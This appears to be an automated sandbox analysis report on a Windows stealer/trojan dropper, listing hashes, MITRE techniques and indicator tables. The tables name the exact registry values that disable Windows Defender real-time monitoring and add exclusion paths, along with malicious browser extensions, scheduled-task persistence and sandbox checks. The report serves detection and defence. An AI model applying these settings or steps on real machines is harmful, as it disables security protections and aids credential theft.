b6bc391c17a37a17d2be2bcbdfc712602c216af7c2dd5d320f94be5bbc16d7a6

Analysis

max time kernel
127s
max time network
132s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
23-11-2022 09:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

83cce075792f5914f1e2bc7004294e13
SHA1

5cb68663c79a606e92bfdca2cbaa559cafb27902
SHA256

b6bc391c17a37a17d2be2bcbdfc712602c216af7c2dd5d320f94be5bbc16d7a6
SHA512

c3d0b81a4234a98b264ea95a0453d2ff85c1e28e4cb3d43f4b12bc88b4091091c78d955eb94621a3605c0c5a19ea5f540aa4749906539e340e281161358d546f
SSDEEP

196608:91ONTzh25zDhTac+XYtC/xUl9q4fZUpmsN0KLJ2:3OXo4otC/g9q4hUpRV2

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.execonhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vCYWhmhlU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gUXCkMfuWzCyC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vCYWhmhlU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gUXCkMfuWzCyC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yqOJJFIvHNUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gcyASImYjZBU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\QtEKgGNERTHTknVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\QtEKgGNERTHTknVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yqOJJFIvHNUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gcyASImYjZBU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

21 1608 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exewiFKqjL.exeELYvpZp.exe

pid process

1732 Install.exe
888 Install.exe
1112 wiFKqjL.exe
720 ELYvpZp.exe

flow	pid	process
21	1608	rundll32.exe

pid	process
1732	Install.exe
888	Install.exe
1112	wiFKqjL.exe
720	ELYvpZp.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

ELYvpZp.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation ELYvpZp.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	ELYvpZp.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1104	file.exe
1732	Install.exe
1732	Install.exe
1732	Install.exe
1732	Install.exe
888	Install.exe
888	Install.exe
888	Install.exe
1608	rundll32.exe
1608	rundll32.exe
1608	rundll32.exe
1608	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

Processes:

ELYvpZp.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	ELYvpZp.exe

Drops file in System32 directory 19 IoCs

Processes:

Install.exepowershell.EXEpowershell.EXEELYvpZp.exepowershell.EXErundll32.exewiFKqjL.exepowershell.EXE

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4A183155DB502CF599F3A8AD6680B8C3	ELYvpZp.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	ELYvpZp.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	wiFKqjL.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	wiFKqjL.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_DD5E18651A85E635F184F73BE6D3DB70	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4A183155DB502CF599F3A8AD6680B8C3	ELYvpZp.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	wiFKqjL.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	ELYvpZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	ELYvpZp.exe

Drops file in Program Files directory 13 IoCs

Processes:

ELYvpZp.exe

description	ioc	process
File created	C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\HvXpslS.dll	ELYvpZp.exe
File created	C:\Program Files (x86)\gUXCkMfuWzCyC\tCaxVIu.dll	ELYvpZp.exe
File created	C:\Program Files (x86)\gUXCkMfuWzCyC\JuAXavH.xml	ELYvpZp.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	ELYvpZp.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	ELYvpZp.exe
File created	C:\Program Files (x86)\vCYWhmhlU\EvNMKea.xml	ELYvpZp.exe
File created	C:\Program Files (x86)\gcyASImYjZBU2\WyEuKxwqUILVq.dll	ELYvpZp.exe
File created	C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\NJjQkkc.xml	ELYvpZp.exe
File created	C:\Program Files (x86)\yqOJJFIvHNUn\DvMArlb.dll	ELYvpZp.exe
File created	C:\Program Files (x86)\vCYWhmhlU\yuxqIV.dll	ELYvpZp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	ELYvpZp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	ELYvpZp.exe
File created	C:\Program Files (x86)\gcyASImYjZBU2\YhkpHuh.xml	ELYvpZp.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job	schtasks.exe
File created	C:\Windows\Tasks\ehnYTuGzyhWqfGFsn.job	schtasks.exe
File created	C:\Windows\Tasks\ulJHerdNyNJKzGw.job	schtasks.exe
File created	C:\Windows\Tasks\AFcndnMIJqNXhoPDJ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1048	schtasks.exe
1520	schtasks.exe
1524	schtasks.exe
300	schtasks.exe
1000	schtasks.exe
1480	schtasks.exe
1752	schtasks.exe
1132	schtasks.exe
1584	schtasks.exe
1700	schtasks.exe
1576	schtasks.exe
732	schtasks.exe
1720	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

ELYvpZp.exerundll32.exewscript.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	ELYvpZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadDecisionTime = 300c94161cffd801	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	ELYvpZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecision = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	ELYvpZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	ELYvpZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0015000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecisionTime = 300c94161cffd801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	ELYvpZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0015000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\9a-cf-1c-b7-13-a2	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}	ELYvpZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadNetworkName = "Network 2"	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ELYvpZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDetectedUrl	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\WpadDecision = "0"	ELYvpZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecisionReason = "1"	ELYvpZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecisionTime = 300c94161cffd801	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	ELYvpZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	ELYvpZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	ELYvpZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1ED4F0F-FC3F-453B-BED4-A556520609DB}\9a-cf-1c-b7-13-a2	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	ELYvpZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cf-1c-b7-13-a2\WpadDecision = "0"	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ELYvpZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	ELYvpZp.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEELYvpZp.exe

pid	process
1940	powershell.EXE
1940	powershell.EXE
1940	powershell.EXE
1816	powershell.EXE
1816	powershell.EXE
1816	powershell.EXE
2012	powershell.EXE
2012	powershell.EXE
2012	powershell.EXE
1528	powershell.EXE
1528	powershell.EXE
1528	powershell.EXE
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe
720	ELYvpZp.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1940	powershell.EXE
Token: SeDebugPrivilege	1816	powershell.EXE
Token: SeDebugPrivilege	2012	powershell.EXE
Token: SeDebugPrivilege	1528	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1104 wrote to memory of 1732	1104	file.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 1732 wrote to memory of 888	1732	Install.exe	Install.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 1240	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 888 wrote to memory of 592	888	Install.exe	forfiles.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
PID 1240 wrote to memory of 1952	1240	forfiles.exe	cmd.exe
